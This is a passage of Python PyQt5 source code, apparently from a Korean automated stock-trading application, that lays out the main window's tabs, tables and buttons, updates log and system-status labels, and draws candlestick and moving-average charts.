columns_td, len(columns_td), 13, clicked=self.CellClicked_5) self.tj_tableWidget = setTablewidget(self.td_tab, columns_tj, len(columns_tj), 1) self.jg_tableWidget = setTablewidget(self.td_tab, columns_jg, len(columns_jg), 13, clicked=self.CellClicked_6) self.cj_tableWidget = setTablewidget(self.td_tab, columns_cj, len(columns_cj), 12, clicked=self.CellClicked_7) self.gjt_tableWidget = setTablewidget(self.gjt_tab, columns_gjt3, len(columns_gjt3), 46, clicked=self.CellClicked_8) self.gjs_tableWidget = setTablewidget(self.gjs_tab, columns_gjs, len(columns_gjs), 46, clicked=self.CellClicked_9) self.st_groupBox = QtWidgets.QGroupBox(self.st_tab) self.calendarWidget = QtWidgets.QCalendarWidget(self.st_groupBox) todayDate = QtCore.QDate.currentDate() self.calendarWidget.setCurrentPage(todayDate.year(), todayDate.month()) self.calendarWidget.clicked.connect(self.CalendarClicked) self.stn_tableWidget = setTablewidget(self.st_tab, columns_sn, len(columns_sn), 1) self.stl_tableWidget = setTablewidget(self.st_tab, columns_st, len(columns_st), 31, clicked=self.CellClicked_10) self.sg_groupBox = QtWidgets.QGroupBox(self.sg_tab) self.sg_pushButton_01 = setPushbutton('일별집계', self.sg_groupBox, self.ButtonClicked_3) self.sg_pushButton_02 = setPushbutton('월별집계', self.sg_groupBox, self.ButtonClicked_3) self.sg_pushButton_03 = setPushbutton('연도별집계', self.sg_groupBox, self.ButtonClicked_3) self.sgt_tableWidget = setTablewidget(self.sg_tab, columns_ln, len(columns_ln), 1) self.sgl_tableWidget = setTablewidget(self.sg_tab, columns_lt, len(columns_lt), 41) self.table_tabWidget.addTab(self.td_tab, '계좌평가') self.table_tabWidget.addTab(self.gjt_tab, '단타') self.table_tabWidget.addTab(self.gjs_tab, '단기') self.table_tabWidget.addTab(self.st_tab, '거래목록') self.table_tabWidget.addTab(self.sg_tab, '수익현황') self.info_label_01 = QtWidgets.QLabel(self) self.info_label_02 = QtWidgets.QLabel(self) self.info_label_03 = QtWidgets.QLabel(self) self.info_label_04 = QtWidgets.QLabel(self) self.info_label_05 = QtWidgets.QLabel(self) self.info_label_06 = QtWidgets.QLabel(self) self.etc_pushButton_00 = setPushbutton('차트탭변경', self, self.ButtonClicked_4, 0) self.etc_pushButton_01 = setPushbutton('차트유형변경', self, self.ButtonClicked_4, 1) self.etc_pushButton_02 = setPushbutton('창크기변경', self, self.ButtonClicked_4, 2) self.ct_label_01 = QtWidgets.QLabel('종목명 또는 종목코드 조회', self) self.ct_label_02 = QtWidgets.QLabel('종목명 또는 종목코드 조회', self) self.ct_lineEdit_01 = setLineedit(self, self.ReturnPressed_1) self.ct_lineEdit_02 = setLineedit(self, self.ReturnPressed_2) self.setGeometry(int(0 * resize), int(0 * resize), int(3440 * resize), int(1400 * resize)) self.chart_00_tabWidget.setGeometry(int(5 * resize), int(5 * resize), int(1025 * resize), int(692 * resize)) self.chart_01_tabWidget.setGeometry(int(1035 * resize), int(5 * resize), int(1026 * resize), int(692 * resize)) self.chart_02_tabWidget.setGeometry(int(5 * resize), int(702 * resize), int(1025 * resize), int(692 * resize)) self.chart_03_tabWidget.setGeometry(int(1035 * resize), int(702 * resize), int(1026 * resize), int(692 * resize)) self.chart_04_tabWidget.setGeometry(int(3500 * resize), int(5 * resize), int(2743 * resize), int(1390 * resize)) self.hoga_00_tabWidget.setGeometry(int(2066 * resize), int(5 * resize), int(682 * resize), int(692 * resize)) self.hoga_01_tabWidget.setGeometry(int(2066 * resize), int(702 * resize), int(682 * resize), int(692 * resize)) self.lgsj_tabWidget.setGeometry(int(2753 * resize), int(5 * resize), int(682 * resize), int(282 * resize)) self.table_tabWidget.setGeometry(int(2753 * resize), int(292 * resize), int(682 * resize), int(1103 * resize)) self.info_label_01.setGeometry(int(155 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_02.setGeometry(int(600 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_03.setGeometry(int(1185 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.info_label_04.setGeometry(int(2145 * resize), int(1 * resize), int(600 * resize), int(30 * resize)) self.info_label_05.setGeometry(int(2145 * resize), int(699 * resize), int(600 * resize), int(30 * resize)) self.info_label_06.setGeometry(int(2888 * resize), int(1 * resize), int(400 * resize), int(30 * resize)) self.etc_pushButton_00.setGeometry(int(3185 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_01.setGeometry(int(3270 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.etc_pushButton_02.setGeometry(int(3355 * resize), int(291 * resize), int(80 * resize), int(20 * resize)) self.ct_label_01.setGeometry(int(3500 * resize), int(5 * resize), int(140 * resize), int(20 * resize)) self.ct_label_02.setGeometry(int(3500 * resize), int(702 * resize), int(140 * resize), int(20 * resize)) self.ct_lineEdit_01.setGeometry(int(3500 * resize), int(5 * resize), int(100 * resize), int(20 * resize)) self.ct_lineEdit_02.setGeometry(int(3500 * resize), int(702 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sellper_groupBox.setGeometry(int(5 * resize), int(-10 * resize), int(331 * resize), int(65 * resize)) self.hoga_00_sell_radioButton_01.setGeometry(int(10 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_radioButton_02.setGeometry(int(110 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_radioButton_03.setGeometry(int(220 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_radioButton_04.setGeometry(int(10 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_radioButton_05.setGeometry(int(110 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_radioButton_06.setGeometry(int(220 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buywon_groupBox.setGeometry(int(341 * resize), int(-10 * resize), int(331 * resize), int(65 * resize)) self.hoga_00_buy_radioButton_01.setGeometry(int(10 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buy_radioButton_02.setGeometry(int(110 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buy_radioButton_03.setGeometry(int(220 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buy_radioButton_04.setGeometry(int(10 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buy_radioButton_05.setGeometry(int(110 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_buy_radioButton_06.setGeometry(int(220 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_00_sell_pushButton_01.setGeometry(int(5 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_00_sell_pushButton_02.setGeometry(int(173 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_00_buy_pushButton_01.setGeometry(int(341 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_00_buy_pushButton_02.setGeometry(int(509 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_00_hj_tableWidget.setGeometry(int(5 * resize), int(85 * resize), int(668 * resize), int(42 * resize)) self.hoga_00_hs_tableWidget.setGeometry(int(5 * resize), int(132 * resize), int(84 * resize), int(525 * resize)) self.hoga_00_hc_tableWidget.setGeometry(int(88 * resize), int(132 * resize), int(168 * resize), int(525 * resize)) self.hoga_00_hg_tableWidget.setGeometry(int(255 * resize), int(132 * resize), int(336 * resize), int(525 * resize)) self.hoga_00_hb_tableWidget.setGeometry(int(590 * resize), int(132 * resize), int(84 * resize), int(525 * resize)) self.hoga_00_line.setGeometry(int(6 * resize), int(402 * resize), int(667 * resize), int(1 * resize)) self.hoga_01_sellper_groupBox.setGeometry(int(5 * resize), int(-10 * resize), int(331 * resize), int(65 * resize)) self.hoga_01_sell_radioButton_01.setGeometry(int(10 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_radioButton_02.setGeometry(int(110 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_radioButton_03.setGeometry(int(220 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_radioButton_04.setGeometry(int(10 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_radioButton_05.setGeometry(int(110 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_radioButton_06.setGeometry(int(220 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buywon_groupBox.setGeometry(int(341 * resize), int(-10 * resize), int(331 * resize), int(65 * resize)) self.hoga_01_buy_radioButton_01.setGeometry(int(10 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buy_radioButton_02.setGeometry(int(110 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buy_radioButton_03.setGeometry(int(220 * resize), int(22 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buy_radioButton_04.setGeometry(int(10 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buy_radioButton_05.setGeometry(int(110 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_buy_radioButton_06.setGeometry(int(220 * resize), int(42 * resize), int(100 * resize), int(20 * resize)) self.hoga_01_sell_pushButton_01.setGeometry(int(5 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_01_sell_pushButton_02.setGeometry(int(173 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_01_buy_pushButton_01.setGeometry(int(341 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_01_buy_pushButton_02.setGeometry(int(509 * resize), int(60 * resize), int(163 * resize), int(20 * resize)) self.hoga_01_hj_tableWidget.setGeometry(int(5 * resize), int(85 * resize), int(668 * resize), int(42 * resize)) self.hoga_01_hs_tableWidget.setGeometry(int(5 * resize), int(132 * resize), int(84 * resize), int(525 * resize)) self.hoga_01_hc_tableWidget.setGeometry(int(88 * resize), int(132 * resize), int(168 * resize), int(525 * resize)) self.hoga_01_hg_tableWidget.setGeometry(int(255 * resize), int(132 * resize), int(336 * resize), int(525 * resize)) self.hoga_01_hb_tableWidget.setGeometry(int(590 * resize), int(132 * resize), int(84 * resize), int(525 * resize)) self.hoga_01_line.setGeometry(int(6 * resize), int(402 * resize), int(667 * resize), int(1 * resize)) self.gg_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(120 * resize)) self.gs_tabWidget.setGeometry(int(3500 * resize), int(807 * resize), int(682 * resize), int(567 * resize)) self.ns_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(330 * resize)) self.jj_tabWidget.setGeometry(int(3500 * resize), int(1039 * resize), int(682 * resize), int(360 * resize)) self.jm_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(330 * resize)) self.jb_tabWidget.setGeometry(int(3500 * resize), int(1039 * resize), int(682 * resize), int(360 * resize)) self.ch_tabWidget.setGeometry(int(3500 * resize), int(702 * resize), int(682 * resize), int(682 * resize)) self.gg_textEdit.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(80 * resize)) self.gs_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(527 * resize)) self.ns_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(293 * resize)) self.jj_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(315 * resize)) self.jm1_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(310 * resize), int(293 * resize)) self.jm2_tableWidget.setGeometry(int(310 * resize), int(5 * resize), int(363 * resize), int(293 * resize)) self.jb_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(315 * resize)) self.ch_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(653 * resize)) self.lg_textEdit.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(242 * resize)) self.sj_groupBox_01.setGeometry(int(5 * resize), int(3 * resize), int(668 * resize), int(65 * resize)) self.sj_label_01.setGeometry(int(10 * resize), int(13 * resize), int(180 * resize), int(20 * resize)) self.sj_label_02.setGeometry(int(10 * resize), int(38 * resize), int(180 * resize), int(20 * resize)) self.sj_lineEdit_01.setGeometry(int(95 * resize), int(12 * resize), int(486 * resize), int(20 * resize)) self.sj_lineEdit_02.setGeometry(int(95 * resize), int(37 * resize), int(486 * resize), int(20 * resize)) self.sj_pushButton_01.setGeometry(int(586 * resize), int(12 * resize), int(75 * resize), int(45 * resize)) self.sj_groupBox_02.setGeometry(int(5 * resize), int(70 * resize), int(668 * resize), int(177 * resize)) self.sj_pushButton_02.setGeometry(int(5 * resize), int(10 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_03.setGeometry(int(171 * resize), int(10 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_04.setGeometry(int(337 * resize), int(10 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_05.setGeometry(int(503 * resize), int(10 * resize), int(160 * resize), int(28 * resize)) self.sj_pushButton_06.setGeometry(int(5 * resize), int(43 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_07.setGeometry(int(171 * resize), int(43 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_08.setGeometry(int(337 * resize), int(43 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_09.setGeometry(int(503 * resize), int(43 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_10.setGeometry(int(5 * resize), int(77 * resize), int(160 * resize), int(28 * resize)) self.sj_pushButton_11.setGeometry(int(171 * resize), int(77 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_12.setGeometry(int(337 * resize), int(77 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_13.setGeometry(int(503 * resize), int(77 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_14.setGeometry(int(5 * resize), int(110 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_15.setGeometry(int(171 * resize), int(110 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_16.setGeometry(int(337 * resize), int(110 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_17.setGeometry(int(503 * resize), int(110 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_18.setGeometry(int(5 * resize), int(143 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_19.setGeometry(int(171 * resize), int(143 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_20.setGeometry(int(337 * resize), int(143 * resize), int(161 * resize), int(28 * resize)) self.sj_pushButton_21.setGeometry(int(503 * resize), int(143 * resize), int(161 * resize), int(28 * resize)) self.tt_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(42 * resize)) self.td_tableWidget.setGeometry(int(5 * resize), int(52 * resize), int(668 * resize), int(320 * resize)) self.tj_tableWidget.setGeometry(int(5 * resize), int(377 * resize), int(668 * resize), int(42 * resize)) self.jg_tableWidget.setGeometry(int(5 * resize), int(424 * resize), int(668 * resize), int(320 * resize)) self.cj_tableWidget.setGeometry(int(5 * resize), int(749 * resize), int(668 * resize), int(320 * resize)) self.gjt_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(1063 * resize)) self.gjs_tableWidget.setGeometry(int(5 * resize), int(5 * resize), int(668 * resize), int(1063 * resize)) self.st_groupBox.setGeometry(int(5 * resize), int(3 * resize), int(668 * resize), int(278 * resize)) self.calendarWidget.setGeometry(int(5 * resize), int(11 * resize), int(658 * resize), int(258 * resize)) self.stn_tableWidget.setGeometry(int(5 * resize), int(287 * resize), int(668 * resize), int(42 * resize)) self.stl_tableWidget.setGeometry(int(5 * resize), int(334 * resize), int(668 * resize), int(735 * resize)) self.sg_groupBox.setGeometry(int(5 * resize), int(3 * resize), int(668 * resize), int(48 * resize)) self.sg_pushButton_01.setGeometry(int(5 * resize), int(11 * resize), int(216 * resize), int(30 * resize)) self.sg_pushButton_02.setGeometry(int(226 * resize), int(12 * resize), int(216 * resize), int(30 * resize)) self.sg_pushButton_03.setGeometry(int(447 * resize), int(12 * resize), int(216 * resize), int(30 * resize)) self.sgt_tableWidget.setGeometry(int(5 * resize), int(57 * resize), int(668 * resize), int(42 * resize)) self.sgl_tableWidget.setGeometry(int(5 * resize), int(104 * resize), int(668 * resize), int(965 * resize)) self.dict_intg = { '체결강도차이': 0., '거래대금차이': 0, '평균시간': 0, '체결강도하한': 0., '누적거래대금하한': 0, '등락율상한': 0. } self.dict_code = {} self.dict_name = {} self.dict_mcpg_lastindex = {} self.dict_mcpg_lastchuse = {} self.dict_mcpg_lastmoveavg = {} self.dict_mcpg_lastcandlestick = {} self.dict_mcpg_lastmoneybar = {} self.dict_mcpg_infiniteline = {} self.dict_mcpg_legend1 = {} self.dict_mcpg_legend2 = {} self.dict_mcpg_name = {} self.dict_mcpg_close = {} self.mode0 = 0 self.mode1 = 0 self.mode2 = 0 self.dict_intu = {'스레드': 0, '시피유': 0., '메모리': 0.} self.dict_intt = {'스레드': 0, '시피유': 0., '메모리': 0.} self.dict_intl = {'스레드': 0, '시피유': 0., '메모리': 0.} self.dict_intm = {'스레드': 0, '시피유': 0., '메모리': 0.} self.dict_ints = {'스레드': 0, '시피유': 0., '메모리': 0.} self.writer = Writer() self.writer.data0.connect(self.UpdateTexedit) self.writer.data1.connect(self.UpdateChart) self.writer.data2.connect(self.UpdateTick) self.writer.data3.connect(self.UpdateLongMidShort) self.writer.data4.connect(self.UpdateTablewidget) self.writer.start() def ReturnPressed_1(self): codeorname = self.ct_lineEdit_01.text() try: code = self.dict_code[codeorname] except KeyError: if codeorname in self.dict_code.values(): code = codeorname else: windowQ.put([1, '시스템 명령 오류 알림 - 종목명 또는 종목코드를 잘못입력하였습니다.']) return if self.mode1 == 0: workerQ.put(f"현재가{ui_num['차트P1']} {code}") elif self.mode1 == 1: workerQ.put(f"현재가{ui_num['차트P0']} {code}") def ReturnPressed_2(self): codeorname = self.ct_lineEdit_02.text() try: code = self.dict_code[codeorname] except KeyError: if codeorname in self.dict_code.values(): code = codeorname else: windowQ.put([1, '시스템 명령 오류 알림 - 종목명 또는 종목코드를 잘못입력하였습니다.']) return workerQ.put(f"현재가{ui_num['차트P3']} {code}") def UpdateTexedit(self, msg): if msg[0] == 0: self.gg_textEdit.clear() self.gg_textEdit.append(msg[1]) elif msg[0] == 1: if '니다' in msg[1] or '시오' in msg[1] or '실패' in msg[1]: self.lg_textEdit.setTextColor(color_fg_bc) elif '주문' in msg[1] or '매수' in msg[1] or '매도' in msg[1]: self.lg_textEdit.setTextColor(color_fg_bt) else: self.lg_textEdit.setTextColor(color_fg_dk) self.lg_textEdit.append(f'[{now()}] {msg[1]}') self.log.info(f'[{now()}] {msg[1]}') if msg[1] == '시스템 명령 실행 알림 - 시스템 종료': sys.exit() elif msg[0] == 2: pushbutton = None if msg[1] == '데이터베이스 불러오기': pushbutton = self.sj_pushButton_02 elif msg[1] == 'OPENAPI 로그인': pushbutton = self.sj_pushButton_03 self.ButtonClicked_4(0) elif msg[1] == '계좌평가 및 잔고': pushbutton = self.sj_pushButton_04 elif msg[1] == '코스피 코스닥 차트': pushbutton = self.sj_pushButton_05 elif msg[1] == '장운영시간 알림 등록': pushbutton = self.sj_pushButton_06 elif msg[1] == '업종지수 주식체결 등록': pushbutton = self.sj_pushButton_07 elif msg[1] == '단기 주식체결 등록': pushbutton = self.sj_pushButton_08 elif msg[1] == 'VI발동해제 등록': self.ButtonClicked_4(2) pushbutton = self.sj_pushButton_09 elif msg[1] == '장운영상태': pushbutton = self.sj_pushButton_10 elif msg[1] == '실시간 조건검색식 등록': pushbutton = self.sj_pushButton_11 elif msg[1] == '장초 단타 전략 중단': pushbutton = self.sj_pushButton_12 elif msg[1] == '실시간 조건검색식 중단': pushbutton = self.sj_pushButton_13 elif msg[1] == '단타 실시간 데이터 수신 중단': pushbutton = self.sj_pushButton_14 elif msg[1] == '장초 단타 전략 잔고 청산': pushbutton = self.sj_pushButton_15 elif msg[1] == '모든 실시간 데이터 수신 중단': pushbutton = self.sj_pushButton_16 elif msg[1] == '일별거래목록 저장': pushbutton = self.sj_pushButton_17 elif msg[1] == '시스템 종료': pushbutton = self.sj_pushButton_21 if pushbutton is not None: pushbutton.setStyleSheet(style_bc_dk) pushbutton.setFont(qfont1) pushbutton = None text = None if '테스트모드' in msg[1]: pushbutton = self.sj_pushButton_18 text = '테스트모드 ON' if msg[1].split(' ')[-1] in ['ON', '1'] else '테스트모드 OFF' elif '모의투자' in msg[1]: pushbutton = self.sj_pushButton_19 text = '모의투자 ON' if msg[1].split(' ')[-1] in ['ON', '1'] else '모의투자 OFF' elif '알림소리' in msg[1]: pushbutton = self.sj_pushButton_20 text = '알림소리 ON' if msg[1].split(' ')[-1] in ['ON', '1'] else '알림소리 OFF' if pushbutton is not None and text is not None: pushbutton.setText(text) if msg[1].split(' ')[-1] in ['ON', '1']: pushbutton.setStyleSheet(style_bc_bt) else: pushbutton.setStyleSheet(style_bc_dk) pushbutton.setFont(qfont1) if '텔레그램봇넘버' in msg[1]: text = msg[1].split(' ')[-1] self.sj_lineEdit_01.setText(text) self.sj_lineEdit_01.setAlignment(Qt.AlignVCenter | Qt.AlignLeft) elif '사용자아이디' in msg[1]: text = msg[1].split(' ')[-1] self.sj_lineEdit_02.setText(text) self.sj_lineEdit_02.setAlignment(Qt.AlignVCenter | Qt.AlignLeft) elif msg[0] == 3: float_memory = float2str3p2(self.dict_intu['메모리']) float_cpuper = float2str2p2(self.dict_intu['시피유']) label01text = f"UI Process - Memory {float_memory}MB | Threads {self.dict_intu['스레드']}EA | "\ f'CPU {float_cpuper}%' float_memory = float2str3p2(msg[1]) float_cpuper = float2str2p2(msg[3]) label02text = f'Worker Process - Memory {float_memory}MB | Threads {msg[2]}EA | CPU {float_cpuper}%' float_memory = self.dict_intt['메모리'] + self.dict_intl['메모리'] float_memory += self.dict_intm['메모리'] + self.dict_ints['메모리'] float_thread = self.dict_intt['스레드'] + self.dict_intl['스레드'] float_thread += self.dict_intm['스레드'] + self.dict_ints['스레드'] float_cpuper = self.dict_intt['시피유'] + self.dict_intl['시피유'] float_cpuper += self.dict_intm['시피유'] + self.dict_ints['시피유'] float_memory = round(float_memory, 2) float_cpuper = round(float_cpuper, 2) total_memory = round(self.dict_intu['메모리'] + msg[1] + float_memory, 2) total_threads = self.dict_intu['스레드'] + msg[2] + float_thread total_cpuper = round(self.dict_intu['시피유'] + msg[3] + float_cpuper, 2) float_memory = float2str3p2(float_memory) float_cpuper = float2str2p2(float_cpuper) label03text = f"Strategy Process - Memory {float_memory}MB | Threads {float_thread}EA | "\ f"CPU {float_cpuper}%" chartq_size = chart1Q.qsize() + chart2Q.qsize() + chart3Q.qsize() + chart4Q.qsize() + chart5Q.qsize() chartq_size += chart6Q.qsize() + chart7Q.qsize() + chart8Q.qsize() + chart9Q.qsize() hogaq_size = hoga1Q.qsize() + hoga2Q.qsize() stgq_size = stgtQ.qsize() + stgsQ.qsize() label04text = f'Queue - windowQ {windowQ.qsize()} | workerQ {workerQ.qsize()} | stgQ {stgq_size} | '\ f'chartQ {chartq_size} | hogaQ {hogaq_size} | queryQ {queryQ.qsize()} | '\ f'soundQ {soundQ.qsize()} | teleQ {teleQ.qsize()}' label05text = f'Data Received - TR {msg[4]} | CJ {msg[5]} | '\ f"JC {format(msg[6], ',')} | HJ {format(msg[7], ',')} | "\ f'RTJC {msg[8]} TICKps | RTHJ {msg[9]} TICKps' label06text = f'Total Process - Memory {total_memory}MB | Threads {total_threads}EA | CPU {total_cpuper}%' if self.mode2 == 0: self.info_label_01.setText(label01text) self.info_label_02.setText(label02text) self.info_label_03.setText(label03text) self.info_label_04.setText(label04text) self.info_label_05.setText(label05text) self.info_label_06.setText(label06text) self.UpdateSysinfo() elif msg[0] == 4: self.dict_intt['메모리'] = msg[1] self.dict_intt['스레드'] = msg[2] self.dict_intt['시피유'] = msg[3] elif msg[0] == 5: self.dict_intl['메모리'] = msg[1] self.dict_intl['스레드'] = msg[2] self.dict_intl['시피유'] = msg[3] elif msg[0] == 6: self.dict_intm['메모리'] = msg[1] self.dict_intm['스레드'] = msg[2] self.dict_intm['시피유'] = msg[3] elif msg[0] == 7: self.dict_ints['메모리'] = msg[1] self.dict_ints['스레드'] = msg[2] self.dict_ints['시피유'] = msg[3] elif msg[0] == 8: self.dict_code = msg[1] elif msg[0] == 9: self.dict_name = msg[1] completer = QtWidgets.QCompleter(list(self.dict_code.keys()) + list(self.dict_name.keys())) self.ct_lineEdit_01.setCompleter(completer) self.ct_lineEdit_02.setCompleter(completer) def UpdateChart(self, data): gubun = data[0] df = data[1] if self.mode2 != 0: return if gubun in [ui_num['차트P1'], ui_num['차트P2']] and (self.mode0 != 0 or self.mode1 not in [0, 1]): return if gubun in [ui_num['차트P3'], ui_num['차트P4']] and (self.mode0 != 0 or self.mode1 != 0): return if gubun in [ui_num['차트P6'], ui_num['차트P7'], ui_num['차트P8'], ui_num['차트P9']] and \ (self.mode0 != 1 or self.mode1 != 0): return if gubun == ui_num['차트P5'] and self.mode1 != 2: return def crosshair(yminn, pc, main_pg=None, sub_pg=None): if main_pg is not None: vLine1 = pg.InfiniteLine() vLine1.setPen(pg.mkPen(color_fg_bk, width=1)) hLine = pg.InfiniteLine(angle=0) hLine.setPen(pg.mkPen(color_fg_bk, width=1)) main_pg.addItem(vLine1, ignoreBounds=True) main_pg.addItem(hLine, ignoreBounds=True) main_vb = main_pg.getViewBox() label = pg.TextItem(anchor=(0, 1), color=color_fg_bt, border=color_bg_bt, fill=color_bg_ld) label.setFont(qfont1) label.setPos(-0.25, yminn) main_pg.addItem(label) if sub_pg is not None: vLine2 = pg.InfiniteLine() vLine2.setPen(pg.mkPen(color_fg_bk, width=1)) sub_pg.addItem(vLine2, ignoreBounds=True) sub_vb = sub_pg.getViewBox() def mouseMoved(evt): pos = evt[0] if main_pg is not None and main_pg.sceneBoundingRect().contains(pos): mousePoint = main_vb.mapSceneToView(pos) per = round((mousePoint.y() / pc - 1) * 100, 2) label.setText(f"십자선 {format(int(mousePoint.y()), ',')}\n등락율 {per}%") vLine1.setPos(mousePoint.x()) hLine.setPos(mousePoint.y()) if sub_pg is not None: vLine2.setPos(mousePoint.x()) if sub_pg is not None and sub_pg.sceneBoundingRect().contains(pos): mousePoint = sub_vb.mapSceneToView(pos) vLine1.setPos(mousePoint.x()) vLine2.setPos(mousePoint.x()) if main_pg is not None: main_pg.proxy = pg.SignalProxy(main_pg.scene().sigMouseMoved, rateLimit=20, slot=mouseMoved) if sub_pg is not None: sub_pg.proxy = pg.SignalProxy(main_pg.scene().sigMouseMoved, rateLimit=20, slot=mouseMoved) def getMainLegendText(): cc = df['현재가'][-1] per = round((c / df['전일종가'][0] - 1) * 100, 2) nlist = [ui_num['차트P2'], ui_num['차트P4'], ui_num['차트P5'], ui_num['차트P7'], ui_num['차트P9']] if gubun in nlist: ema05 = df['지수이평05'][-1] ema10 = df['지수이평10'][-1] ema20 = df['지수이평20'][-1] textt = f"05이평 {format(ema05, ',')}\n10이평 {format(ema10, ',')}\n" \ f"20이평 {format(ema20, ',')}\n현재가 {format(cc, ',')}\n등락율 {per}%" else: ema05 = df['지수이평05'][-1] ema20 = df['지수이평20'][-1] ema60 = df['지수이평60'][-1] textt = f"05이평 {format(ema05, ',')}\n20이평 {format(ema20, ',')}\n" \ f"60이평 {format(ema60, ',')}\n현재가 {format(cc, ',')}\n등락율 {per}%" return textt def getSubLegendText(): money = int(df['거래량'][-1]) per = round(df['거래량'][-1] / df['거래량'][-2] * 100, 2) textt = f"거래량 {format(money, ',')}\n증감비 {per}%" return textt x = len(df) - 1 c = df['현재가'][-1] o = df['시가'][-1] prec = df['전일종가'][0] v = df['거래량'][-1] vmax = df['거래량'].max() name = df['종목명'][0] if gubun in [ui_num['차트P1'], ui_num['차트P3']]: ymin = min(df['저가'].min(), df['지수이평05'].min(), df['지수이평20'].min(), df['지수이평60'].min(), df['지수이평120'].min(), df['지수이평240'].min(), df['지수이평480'].min()) ymax = max(df['고가'].max(), df['지수이평05'].max(), df['지수이평20'].max(), df['지수이평60'].max(), df['지수이평120'].max(), df['지수이평240'].max(), df['지수이평480'].max()) elif gubun in [ui_num['차트P2'], ui_num['차트P4'], ui_num['차트P5'], ui_num['차트P7'], ui_num['차트P9']]: ymin = min(df['저가'].min(), df['지수이평05'].min(), df['지수이평10'].min(), df['지수이평20'].min(), df['지수이평40'].min(), df['지수이평60'].min(), df['지수이평120'].min()) ymax = max(df['고가'].max(), df['지수이평05'].max(), df['지수이평10'].max(), df['지수이평20'].max(), df['지수이평40'].max(), df['지수이평60'].max(), df['지수이평120'].max()) else: ymin = min(df['저가'].min(), df['지수이평05'].min(), df['지수이평20'].min(), df['지수이평60'].min()) ymax = max(df['고가'].max(), df['지수이평05'].max(), df['지수이평20'].max(), df['지수이평60'].max()) if gubun not in self.dict_mcpg_lastindex.keys() or self.dict_mcpg_lastindex[gubun] != df.index[-1] or \ gubun not in self.dict_mcpg_name.keys() or self.dict_mcpg_name[gubun] != name: self.dict_ctpg[gubun][0].clear() self.dict_ctpg[gubun][1].clear() self.dict_mcpg_lastindex[gubun] = df.index[-1] self.dict_ctpg[gubun][0].addItem(ChuseItem(df, ymin, ymax)) self.dict_ctpg[gubun][0].addItem(MoveavgItem(df, gubun)) self.dict_ctpg[gubun][0].addItem(CandlestickItem(df)) self.dict_mcpg_lastchuse[gubun] = LastChuseItem(df, ymin, ymax) self.dict_mcpg_lastmoveavg[gubun] = LastMoveavgItem(df, gubun) self.dict_mcpg_lastcandlestick[gubun] = 